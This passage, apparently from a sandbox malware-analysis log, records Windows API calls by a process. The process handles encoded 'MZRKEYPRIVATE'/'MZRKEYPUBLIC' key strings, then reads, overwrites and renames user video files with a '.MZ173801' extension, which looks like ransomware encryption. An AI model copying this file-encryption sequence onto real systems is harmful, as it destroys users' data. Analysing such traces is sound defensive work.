lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.341] GetCurrentThreadId () returned 0xab4 [0165.341] GetCurrentThreadId () returned 0xab4 [0165.341] GetCurrentThreadId () returned 0xab4 [0165.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.342] GetCurrentThreadId () returned 0xab4 [0165.342] GetCurrentThreadId () returned 0xab4 [0165.342] GetCurrentThreadId () returned 0xab4 [0165.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\-a8H16g7Z8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\-a8h16g7z8.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.342] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0165.342] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.342] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x8041 [0165.342] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.342] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x8041, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x8041, lpOverlapped=0x0) returned 1 [0165.344] CloseHandle (hObject=0x2f8) returned 1 [0165.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\-a8H16g7Z8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\-a8h16g7z8.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.346] WriteFile (in: hFile=0x2f8, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x8041, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19f758*=0x8041, lpOverlapped=0x0) returned 1 [0165.347] CloseHandle (hObject=0x2f8) returned 1 [0165.355] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\-a8H16g7Z8.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\-a8h16g7z8.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\-a8H16g7Z8.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\-a8h16g7z8.flv.mz173801")) returned 1 [0165.356] GetCurrentThreadId () returned 0xab4 [0165.356] GetCurrentThreadId () returned 0xab4 [0165.356] GetCurrentThreadId () returned 0xab4 [0165.356] GetCurrentThreadId () returned 0xab4 [0165.356] GetCurrentThreadId () returned 0xab4 [0165.356] GetCurrentThreadId () returned 0xab4 [0165.356] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2097ba00, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x7f391000, ftLastAccessTime.dwHighDateTime=0x1d5e48f, ftLastWriteTime.dwLowDateTime=0x7f391000, ftLastWriteTime.dwHighDateTime=0x1d5e48f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="13_UhdLxbGNJHYgey", cAlternateFileName="13_UHD~1")) returned 1 [0165.356] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e5ae0, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0xb042dc20, ftLastAccessTime.dwHighDateTime=0x1d5e968, ftLastWriteTime.dwLowDateTime=0xb042dc20, ftLastWriteTime.dwHighDateTime=0x1d5e968, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="aUIpFDwEiCcpzrSkPaW0", cAlternateFileName="AUIPFD~1")) returned 1 [0165.356] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0a0a230, ftCreationTime.dwHighDateTime=0x1d5f105, ftLastAccessTime.dwLowDateTime=0xfa472ad0, ftLastAccessTime.dwHighDateTime=0x1d5e4b1, ftLastWriteTime.dwLowDateTime=0xfa472ad0, ftLastWriteTime.dwHighDateTime=0x1d5e4b1, nFileSizeHigh=0x0, nFileSizeLow=0x1581d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="cEUdy Q8gkA4LqZQF.avi", cAlternateFileName="CEUDYQ~1.AVI")) returned 1 [0165.356] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.356] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.356] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\cEUdy Q8gkA4LqZQF.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\ceudy q8gka4lqzqf.avi"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0a0a230, ftCreationTime.dwHighDateTime=0x1d5f105, ftLastAccessTime.dwLowDateTime=0xfa472ad0, ftLastAccessTime.dwHighDateTime=0x1d5e4b1, ftLastWriteTime.dwLowDateTime=0xfa472ad0, ftLastWriteTime.dwHighDateTime=0x1d5e4b1, nFileSizeHigh=0x0, nFileSizeLow=0x1581d)) returned 1 [0165.357] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\cEUdy Q8gkA4LqZQF.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\ceudy q8gka4lqzqf.avi")) returned 0x20 [0165.357] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\cEUdy Q8gkA4LqZQF.avi", dwFileAttributes=0x80) returned 1 [0165.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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